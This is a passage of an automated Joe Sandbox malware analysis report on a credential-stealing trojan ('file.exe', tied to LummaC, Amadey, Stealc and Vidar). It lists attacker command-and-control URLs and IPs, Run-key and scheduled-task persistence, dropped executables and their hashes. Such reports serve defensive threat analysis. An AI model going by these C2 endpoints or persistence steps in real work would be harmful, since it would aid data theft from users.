https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001A.00000002.2856302856.0000014D587B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D610000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2864357151.0000014D5D662000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.co.uk/	firefox.exe, 0000001A.00000003.2756220864.0000014D55964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 0000001A.00000003.2683904981.0000014D54E31000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2812517048.0000014D528A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2683434006.0000014D54E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 0000001A.00000002.2862971037.0000014D5D535000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001A.00000002.2806783110.0000014D51324000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2807821351.0000014D51600000.00000002.00000001.00040000.0000001D.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001A.00000002.2812745403.0000014D52990000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.wykop.pl/	firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=e	dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://vk.com/	firefox.exe, 0000001A.00000002.2847726244.0000014D571DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2806783110.0000014D513DF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com	dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001041000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011AB000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&	file.exe, 00000000.00000003.2161633424.0000000000B68000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001081000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000003.2515857456.00000000010BA000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001213000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655694502.0000000001219000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 0000001A.00000002.2831122441.0000014D55E50000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://mobbipenju.store:443/api	dbec6bb1cf.exe, 0000000B.00000002.2667659341.0000000001195000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2655772587.0000000001195000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.olx.pl/	firefox.exe, 0000001A.00000002.2877591426.0000391875F04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2809264505.0000014D52120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2872155375.0000014D5DB3C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpo-	de379087e7.exe, 0000000A.00000002.2603348897.0000000001489000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.53.8	sergei-esenin.com	United States	13335	CLOUDFLARENETUS	true
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.174	youtube.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541054
Start date and time:	2024-10-24 11:01:18 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@80/26@87/12
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 34.208.54.237, 52.13.186.250, 44.231.229.39, 142.250.186.46, 2.22.61.56, 2.22.61.59, 142.250.185.238
Excluded domains from analysis (whitelisted): www.reddit.com, ciscobinary.openh264.org, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, a17.rackcdn.com.mdc.edgesuite.net, aus5.mozilla.org, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a19.dscg10.akamai.net, ocsp.digicert.com, redirector.gvt1.com, e16604.g.akamaiedge.net, firefox.settings.services.mozilla.com, push.services.mozilla.com, www.youtube.com, prod.fs.microsoft.com.akadns.net, star-mini.c10r.facebook.com, www.facebook.com, twitter.com, client.wns.windows.com, fs.microsoft.com, shavar.prod.mozaws.net, otelrules.azureedge.net, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, dyna.wikimedia.org, prod.remote-settings.prod.webservices.mozgcp.net, fe3cr.delivery.mp.microsoft.com, youtube-ui.l.google.com, reddit.map.fastly.net, www.wikipedia.org, location.services.mozilla.com, telemetry-incoming.r53-2.services.mozilla.com
Execution Graph export aborted for target 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe, PID 1008 because it is empty
Execution Graph export aborted for target 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, PID 1208 because there are no executed function
Execution Graph export aborted for target file.exe, PID 1832 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
05:02:12	API Interceptor	12x Sleep call for process: file.exe modified
05:02:38	API Interceptor	1780303x Sleep call for process: skotes.exe modified
05:02:48	API Interceptor	8x Sleep call for process: dbec6bb1cf.exe modified
05:03:11	API Interceptor	1x Sleep call for process: de379087e7.exe modified
11:02:34	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
11:02:51	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run dbec6bb1cf.exe C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe
11:02:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run de379087e7.exe C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe
11:03:08	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 2155b53b29.exe C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe
11:03:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1001161001\num.exe
11:03:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run dbec6bb1cf.exe C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe
11:03:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run de379087e7.exe C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe
11:03:41	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 2155b53b29.exe C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe
11:03:50	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1001161001\num.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.53.8	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	msqT9atzYW.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
contile.services.mozilla.com	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
sergei-esenin.com	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
services.addons.mozilla.org	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://www.yola.com/es/zendesk-sso?return_to=http://york.iwill.app.br/	Get hash	malicious	Unknown	Browse	172.67.4.35
	https://www.yola.com/es/zendesk-sso?return_to=http://york.iwill.app.br/	Get hash	malicious	Unknown	Browse	104.22.21.209
	https://tarah.com.sa/reee	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://www.yola.com/es/zendesk-sso?return_to=http://york.iwill.app.br/	Get hash	malicious	Unknown	Browse	104.22.21.209
	Renommxterne.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	PAYMENT ADVISE MT107647545.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Produccion.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	080210232024.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	xVmySfWfcW.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	https://app.affine.pro/workspace/6f321ca4-f766-41a0-bd18-9a1d8692fccd/OWaJzjD5UQBLWE3oGXvZY	Get hash	malicious	HtmlDropper	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.16
	msqT9atzYW.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.16
	msqT9atzYW.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.16
	msqT9atzYW.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8 104.102.49.254
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\A77BGJTTW6SX9ESX.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1829376
Entropy (8bit):	7.9461935594196795
Encrypted:	false
SSDEEP:	24576:/mhkLdPSgz/XGUiWiRxoDnehvkP2y8jrhGYK/sMn2AyMzlE9aByqi/0HV:/9Sq/XNijoDeq8jNiUS2AyMRE6i/QV
MD5:	E13D89812EE808B7637FE554797B759B
SHA1:	D392EE05CCD8DA3985594FC8DEB0ECDD5A23E8FB
SHA-256:	2FE1592ED1C0BD162F4DE4ABB3A023ED7EAC5426ACF02B5DF89AE163449D7C5F
SHA-512:	BFC9081CE19427F1FB914EAF7AF97B70BEB6E446033ECD510B0902A59E2E353A702918747CEFEE77CA9936750760232E15C43AAEA9F4337B92049B43694A7740
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......i...........@..........................@i...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..)...%......:..............@...xfniszhi.....pO......<..............@...punnpugg......i.....................@....taggant.0....i.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
